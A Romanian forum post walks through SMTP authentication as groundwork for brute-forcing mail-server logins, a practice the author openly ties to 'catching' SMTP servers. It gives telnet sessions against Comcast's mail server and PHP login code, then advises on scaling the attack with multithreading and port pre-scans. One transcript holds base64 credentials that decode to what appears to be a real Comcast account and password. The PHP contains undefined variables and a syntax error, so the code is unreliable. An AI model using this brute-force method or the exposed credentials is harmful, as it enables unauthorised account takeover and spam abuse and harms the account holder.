Jump to content
mojito.mojito

Protocolul SMTP

Recommended Posts

Astazi am decis sa explic tuturor celor care tot cauta scannere/brute si mai stiu eu ce pentru a prinde servere smtp.

Motivul este ca peste tot vad ceva de genu:

- scanner smtp 2012

- new scanner smtp 2014 - prinde 100 smtpuri pe zi

- scanner plm 2015 - 300 pe zi

Sincer e penibil.

Nu stau sa explic definita protocolului SMTP ca sunt o gramada de ghiduri pe internet, doar facand un exemplu: wikipedia.

Sa incepem,

Un brute pentru smtp e simplu un script care incearca sa faca login stand dupa definitia protocolui, si puntr-un loop incearca login cu mai multe usere si parole, asta e clasicul tip de brute cu dictionar.

Pentru a te conecta la uns erver prin smtp se paote face prin portul 25, 587, 465 si nu stiu altele porturi care sunt acum noi.

Portul 25 daca cititi pe internet e spart de spam si acum se incearca sa se adapteze si pe alte porturi.

Astazi vreau sa vorbesc despre simplu acces smtp fara tls, ssl.

pentru a intelege pasii de facut pentru a loga pur si simplu se poate face prin telnet din cmd sau orice alt terminal:


telnet smtp.comcast.com 25/587:

[mojito@baubau HOSTNAMES]$ telnet smtp.comcast.net 25
Trying 68.87.20.6...
Connected to smtp.comcast.net.
Escape character is '^]'.
220 resomta-ch2-12v.sys.comcast.net comcast ESMTP server ready

Avem un raspuns cu codul 220 asta inseamna ca portul 25 in iesire la noi in pc e deschis si ca serverul accepta conexiuni si acum sta in asteptare de alte comenzi.


<?php

$socket = fsockopen($domain, 25, $errno, $errstr, 10);

if (!$socket) exit(0);
$buff = fgets($socket, 512);

if (substr(trim($buff), 0, 3) != "220") exit(0); //daca primele 3 cifre nu sunt 220 conexiunea se termina
print $buff\n;

?>

Un simplu exemplu de a se conecta prin php.

Urmatoarea comanda e de a spune serverului ca esti acolo, un gen de salut sa zicem, prin comanda EHLO sau HELO.

Diferentele dintre EHLO si HELO va recomand pur si simplu wikipedia.

Pentru a face autentificarea noi com utiliza comanda EHLO urmata de orice nume vreti.


[mojito@baubau HOSTNAMES]$ telnet smtp.comcast.net 25
Trying 68.87.20.6...
Connected to smtp.comcast.net.
Escape character is '^]'.
220 resomta-ch2-04v.sys.comcast.net comcast ESMTP server ready
ehlo mojito
250-resomta-ch2-04v.sys.comcast.net hello [192.64.83.46], pleased to meet you
250-HELP
250-AUTH LOGIN PLAIN
250-SIZE 36700160
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-STARTTLS
250 OK

urmarind logica protocolului acum urmeaza sai dam comanda la server zicandui ca vrem sa ne logam la el cu user si parola prin comanda AUTH LOGIN:


[mojito@baubau HOSTNAMES]$ telnet smtp.comcast.net 25
Trying 68.87.20.6...
Connected to smtp.comcast.net.
Escape character is '^]'.
220 resomta-ch2-05v.sys.comcast.net comcast ESMTP server ready
ehlo user
250-resomta-ch2-05v.sys.comcast.net hello [192.64.83.46], pleased to meet you
250-HELP
250-AUTH LOGIN PLAIN
250-SIZE 36700160
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-STARTTLS
250 OK
auth login
334 VXNlcm5hbWU6

Raspunsul 334 urmarit de: VXNlcm5hbWU6 inseamna ca asteapta sa introduceti userul, pentru mai multe detalii in privinta acestui raspuns va invit sa citi RFC'ul respectiv ce explica toate comenzile in mod detaliat.


<?php

$socket = fsockopen($domain, 25, $errno, $errstr, 10);

if (!$socket) exit(0);
$buff = fgets($socket, 512);

if (substr(trim($buff), 0, 3) != "220") exit(0); //daca primele 3 cifre nu sunt 220 conexiunea se termina
print $buff\n;

fputs($socket, "EHLO USER\r\n"); //precum standardului \r\n sunt obligatorii pentru a zice serverului ca ai terminat comanda si sa mearga mai departe

$buff = fgets($socket, 512);
if (substr(trim($buff), 0, 3) != "250") exit(0); //daca nu gasim raspunsul 250 iesim din program. codul 250 inseamna ca serverul a acceptat comanda
//se poate face printr-un loop pentru a vedea tot raspunsul protocolului, dar ajung sa gasesti un singur 250 in raspuns
fputs($socket, "AUTH LOGIN\r\n");

if (substr(trim($buff), 4, 16) != "VXNlcm5hbWU6") exit(0); //daca nu gasim acest string iesim din program

$user = base64_encode("USER"); //precum standardului smtp accepta userul criptat in base64
fputs($socket, "$user\r\n");

?>

O data pus userul vedem daca accepta userul si daca ne trimite mai departe pentru a baga si parola:


[mojito@baubau HOSTNAMES]$ telnet smtp.comcast.net 25
Trying 68.87.20.6...
Connected to smtp.comcast.net.
Escape character is '^]'.
220 resomta-ch2-05v.sys.comcast.net comcast ESMTP server ready
ehlo mojito
250-resomta-ch2-05v.sys.comcast.net hello [192.64.83.46], pleased to meet you
250-HELP
250-AUTH LOGIN PLAIN
250-SIZE 36700160
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-STARTTLS
250 OK
auth login
334 VXNlcm5hbWU6
ZC5sYXVnaGxpbkBjb21jYXN0Lm5ldA==
334 UGFzc3dvcmQ6

raspunsul 334 si acel string functioneaza ca si pentru user, asta inseamna ca userul a fost acceptat si acum serverul asteapta sa introduceti parola, si parola bineinteles in base64.


<?php

$socket = fsockopen($domain, 25, $errno, $errstr, 10);

if (!$socket) exit(0);
$buff = fgets($socket, 512);

if (substr(trim($buff), 0, 3) != "220") exit(0); //daca primele 3 cifre nu sunt 220 conexiunea se termina
print $buff\n;

fputs($socket, "EHLO USER\r\n"); //precum standardului \r\n sunt obligatorii pentru a zice serverului ca ai terminat comanda si sa mearga mai departe

$buff = fgets($socket, 512);
if (substr(trim($buff), 0, 3) != "250") exit(0); //daca nu gasim raspunsul 250 iesim din program. codul 250 inseamna ca serverul a acceptat comanda
//se poate face printr-un loop pentru a vedea tot raspunsul protocolului, dar ajung sa gasesti un singur 250 in raspuns
fputs($socket, "AUTH LOGIN\r\n");

if (substr(trim($buff), 4, 16) != "VXNlcm5hbWU6") exit(0); //daca nu gasim acest string iesim din program

$user = base64_encode("USER"); //precum standardului smtp accepta userul criptat in base64
fputs($socket, "$user\r\n");


if (!($buff = fgets($socket, 512))) exit(0);
if (substr(trim($_SockResult), 4, 16) != "UGFzc3dvcmQ6") exit(0);

$pass = base64_encode("PASSWORD");
fputs($socket, "$pass\r\n");

if(substr(trim($vuff), 0, 3) != "235")
{
print "Invalid login\n";
exit(0);
} else {
print "Login facut cu success\n";
}


?>


[mojito@baubau HOSTNAMES]$ telnet smtp.comcast.net 25
Trying 96.114.157.81...
Connected to smtp.comcast.net.
Escape character is '^]'.
ehlo mojito
220 resomta-po-09v.sys.comcast.net comcast ESMTP server ready
250-resomta-po-09v.sys.comcast.net hello [192.64.83.46], pleased to meet you
250-HELP
250-AUTH LOGIN PLAIN
250-SIZE 36700160
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-STARTTLS
250 OK
auth login
334 VXNlcm5hbWU6
ZC5sYXVnaGxpbkBjb21jYXN0Lm5ldA==
334 UGFzc3dvcmQ6
Mzc3M2psYWQ=
235 2.7.0 ... Authentication succeeded

O data ce am introdus parola dupa cum puteti vedea am facut cu success autentificarea.

Daca autentificarea a avut success prin simpla comanda quit se poate deconecta de la server si a trece la urmatorul.

Ghidul acesta a fost ceva general pentru a da o idee ficaruia cum functioneaza protocolul smtp.

In 2012, 2013, 2015 protocolul a ramas acelasi deci cand eu aud : scanner smtp 2015 / prinde 300 pe zi ma enervez foarte rau.

Da am inteles ca poti sal faci sa mearga mai rapid prin multithreading , poti sa faci controale mai bune la raspunsurile serverului, poti face un check pe portul respectiv si apoi sa faci brute doar pe ip'uri sau hosturi care au portul deschis, poti sa folosesti alt limbaj de programare care gestioneaza mai bine multithreading, poti avea un "root" puternic care e capabil sa deschida multe procese pentru multithreading, sau mai stiu eu ce, dar protocolul smtp ramane acelasi in orice caz, te poti juca cu usere si parole cum vrei tu, dar daca nu ai "root" bun ce poate sa faca cum am zis mai sus si bineinteles merge mai rapid si ai mai multe probabilitati sa gasesti smtpuri intr-un timp mai scurt si de a rula foarte multe hosturi sau ip'uri.

Pentru mai multe detalii va invit sa cititi despre acest protocol.

Va multumesc pentru atentie :D

  • Upvote 1
  • Downvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...